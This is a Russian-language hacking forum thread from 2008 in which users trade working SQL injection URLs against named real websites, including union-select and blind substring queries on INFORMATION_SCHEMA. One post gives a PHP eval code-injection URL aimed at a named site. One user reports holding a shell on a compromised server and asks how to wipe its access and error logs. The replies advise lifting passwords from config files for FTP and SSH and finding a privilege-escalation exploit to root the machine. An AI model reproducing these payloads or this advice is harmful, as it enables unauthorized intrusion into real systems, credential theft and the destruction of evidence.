 |
|
10.11.2008, 22:50
|
|
Познающий
Регистрация: 24.04.2007
Сообщений: 92
С нами:
10025299
Репутация:
412
|
|
Сообщение от truelamer
почему не катит?:
http://www.ascon.kz/index.php?news=144+and+lower(substr((SELECT+TABLE_ NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1,1),1,1 ))='c'
гхм))
http://www.ascon.kz/index.php?news=-1+union+select+1,2,3,4,5,6/*
|
|
|
10.11.2008, 22:57
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Сообщение от truelamer
почему не катит?:
http://www.ascon.kz/index.php?news=144+and+lower(substr((SELECT+TABLE_ NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1,1),1,1 ))='c'
А зачем изврат-то? Скуль вроде обычный.
Не катит потому, что ковычки фильтруются
Попробуй:
http://www.ascon.kz/index.php?news=144+union+select+1,2,3,'44',5,6/*
а вот так покатит, если нужен подзапрос:
http://www.ascon.kz/index.php?news=144+and+ascii(lower(substr((SELECT+ TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1, 1),1,1)))=99
99 это 'с' как ты понимаешь , тренируешься? 
|
|
|
|
11.11.2008, 03:06
|
|
Banned
Регистрация: 12.11.2007
Сообщений: 20
С нами:
9735501
Репутация:
5
|
|
Народ нужна ваша помощь! Именно от вас зависит моя судьба!
И так имееться шелл, я могу ходить по всем папкам... нужно перезаписать или удалить в папке /logs файлы error.log и access.log
я не могу их просто так удалить или перезаписать то есть там стоят прова чтобы незя было записыватЬ! что делать?!
|
|
|
|
11.11.2008, 03:45
|
|
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
С нами:
10254549
Репутация:
227
|
|
вытяни пароли из конфигов и попробуй их подставить к ФТП и ССХ
|
|
|
|
11.11.2008, 03:47
|
|
Banned
Регистрация: 12.11.2007
Сообщений: 20
С нами:
9735501
Репутация:
5
|
|
неа не подходит
|
|
|
|
11.11.2008, 03:48
|
|
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
С нами:
9644006
Репутация:
3099
|
|
Сообщение от Flash-ICE
Народ нужна ваша помощь! Именно от вас зависит моя судьба!
И так имееться шелл, я могу ходить по всем папкам... нужно перезаписать или удалить в папке /logs файлы error.log и access.log
я не могу их просто так удалить или перезаписать то есть там стоят прова чтобы незя было записыватЬ! что делать?!
сплоент под дырявые сервисы ищи (для поднятия прав в системе)-порутаешь серв, сможешь перзаписать... а вообще раньше ты чем думал? 
ЗЫ читал тему в болталке... одмин уже небося патчеги накладывать тока успевает 
Последний раз редактировалось xcedz; 11.11.2008 в 03:54..
|
|
|
|
11.11.2008, 03:56
|
|
Новичок
Регистрация: 07.07.2007
Сообщений: 21
С нами:
9918779
Репутация:
1
|
|
Здраствуйте!
у меня вопрос
http://www.gamingtrend.com/GameInfo/GameInfo.php?GameID=7889+order+by+6--
выдает страничку,
а http://www.gamingtrend.com/GameInfo/GameInfo.php?GameID=7889+order+by+7--
ошибку.
Но запрос вида http://www.gamingtrend.com/GameInfo/GameInfo.php?GameID=7889+union+select+1,2,3,4,5,6-- не работает.
Объясните чайнику |
|
|
|
11.11.2008, 04:08
|
|
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
С нами:
9644006
Репутация:
3099
|
|
http://www.gamingtrend.com/PressReleases/index.php?PRID=-1%20union%20select%201,2,version(),4,5,6,7
дальше разберешься?
ЗЫ и вообще его уже захенкали http://forum.antichat.ru/showpost.php?p=594289&postcount=4856 (чет я сразу то не глянул )
Последний раз редактировалось xcedz; 11.11.2008 в 04:15..
|
|
|
|
11.11.2008, 09:39
|
|
Участник форума
Регистрация: 26.10.2008
Сообщений: 106
С нами:
9231812
Репутация:
40
|
|
Блин ЛЮДИИИ ПОМОГИТЕЕ!! Не знаю чё делать ващееееее.
https://forum.antichat.ru/showpost.php?p=935746&postcount=3618
|
|
|
|
11.11.2008, 13:25
|
|
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
С нами:
9742875
Репутация:
81
|
|
не работает сплоит, есть мыди почему?
cutenews 1.1.1 (strawbery)
http://nkregion.kz/news2/plugins/wacko/highlight/html.php?text=%3C!--{${eval($s)}}--%3E&s=phpinfo();
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
